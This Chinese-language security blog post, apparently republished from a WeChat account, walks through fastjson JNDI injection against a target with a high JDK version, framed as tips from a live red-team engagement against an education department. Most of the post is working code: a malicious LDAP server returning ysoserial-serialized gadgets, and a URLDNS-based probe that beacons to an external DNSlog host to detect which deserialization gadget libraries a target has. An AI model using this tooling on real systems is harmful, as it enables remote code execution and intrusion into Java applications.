0x01、前言
这是几天前的一次的一个教育厅hw,我朋友叫我帮忙看一下。一般实战我都是直接打,遇到问题就丢了。然后这次的问题则是jndi请求vps的class恶意文件,发现会提示jndi无法连接。这时候我也本地看一下,我发现本地正常。vps上的payload没问题,dnslog连接正常。然后把本地的jdk提高,发现出现一样的错误,则判断目标服务器jdk版本较高。目标环境跟本地不一样,还是无法利用,但是也是个tips
上图是实战情况,我接下来讲解则是本地例子(PS:本文的389端口不是我填写错了,我只是排查看是不是ldap或者端口被拦截了)
0x02、JNDI高版本绕过
RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true
由于在高版本 JDK 中 codebase 默认为 true 就导致客户端无法请求未受信任的远程Server上的 class。
这是失败的,那么利用LDAP直接返回一个恶意的序列化对象,这样JNDI注入对该对象进行反序列化操作,利用本地反序列化Gadget完成命令执行。参考文章:https://blog.csdn.net/weixin_45682070/article/details/122622236 http://wjlshare.com/archives/1661
这边我们就以木头师傅的payload来搭建吧
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class HackerLdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
System.out.println("ldap://127.0.0.1:1389/Exploit");
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
// in this class remove the construct
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = "Exploit";
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, ParseException {
e.addAttribute("javaClassName", "foo");
// java -jar ysoserial.jar CommonsCollections6 'calc'|base64
e.addAttribute("javaSerializedData", Base64.decode(""));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
随后我挑个幸运儿的cc gadget去攻击,发现,没有任何反应。(PS:通过报错栈看到到有shiro框架,tomcat服务器)。还是需要先以urldns的gadget去尝试一番。当然,也可以自己搭建dnslog平台,这边我选择https://dig.pm/。
获得到数据base64字符串,我们直接贴到代码中即可。我这边选择上传jar包形式去进行启动ldap服务。当然,也可以javac,java一条条执行,也可以自己改写一下工具。有点麻烦,同时笔者使用本地环境演示,就直接本地起下这个ldap服务
为了防止可能我不经意间的误报,我们可以选择get results后,再发下fastjson的poc
既然urlnds的gadget可以被执行,那么我们就可以思考下会存在什么gadget。第一个是看报错信息去查看存在什么组件进行盲打。但是效率慢,容易被捕获到攻击。那么还有一种办法
0x03、探测服务端的gadget
这个tips来自珂字辈师傅的一篇文章,然而珂字辈师傅师傅来自于c0ny1师傅tips。这边我参考的是珂字辈师傅的文章:https://mp.weixin.qq.com/s/p_mBiEhXuHa11usHPzHlEA原理的话笔者就一笔带过,urldns中有hashMap.put(url, "111")
。而这个value则为字符串。但是这个value还可以放类名,如果目标服务器不存在这个类,则不会发起dnslog请求。这里我们就直接copy下师傅的代码吧
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import javassist.ClassPool;
import javassist.CtClass;
public class test {
public static void main(String[] args) throws Exception {
String dnslog = "e7d894e2.dns.bypass.eu.org";
List<Object> list = new LinkedList<Object>();
//CommonsCollections1/3/5/6/7链,需要<=3.2.1版本,无法通过类判断这个小版本
HashMap cc31 = getURLDNSgadget("http://cc31."+dnslog, "org.apache.commons.collections.functors.ChainedTransformer");
HashMap cc32x = getURLDNSgadget("http://cc32x."+dnslog, "org.apache.commons.collections.buffer.BoundedBuffer");
list.add(cc31);
list.add(cc32x);
//CommonsCollections2/4链,需要4-4.0版本
HashMap cc4x = getURLDNSgadget("http://cc4x."+dnslog, "org.apache.commons.collections4.functors.ChainedTransformer");
HashMap cc41 = getURLDNSgadget("http://cc41."+dnslog, "org.apache.commons.collections4.FluentIterable");
list.add(cc4x);
list.add(cc41);
//CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608
HashMap cb18x = getURLDNSgadget("http://cb18x."+dnslog, "org.apache.commons.beanutils.BeanComparator");
HashMap cb19x = getURLDNSgadget("http://cb19x."+dnslog, "org.apache.commons.beanutils.BeanIntrospectionData");
list.add(cb18x);
list.add(cb19x);
//c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104
HashMap c3p092x = getURLDNSgadget("http://c3p092x."+dnslog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
HashMap c3p095x = getURLDNSgadget("http://c3p095x."+dnslog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource");
list.add(c3p092x);
list.add(c3p095x);
//AspectJWeaver,需要cc31
HashMap ajw = getURLDNSgadget("http://ajw."+dnslog, "org.aspectj.weaver.tools.cache.SimpleCache");
list.add(ajw);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(list);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(list);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
}
public static HashMap getURLDNSgadget(String urls, String clazzName) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0);
hashMap.put(url, makeClass(clazzName));
f.set(url, -1);
return hashMap;
}
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}
我们如上面那样,将字符串丢进ldap服务中
如图,直接探测出存在的gadget,然后我们对对应的gadget进行base64编码,再次进行攻击。至于接下来的攻击就不演示了,步骤一样。
原文始发于微信公众号(某路人的sec):实战中一次fastjson的jndi的tips
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论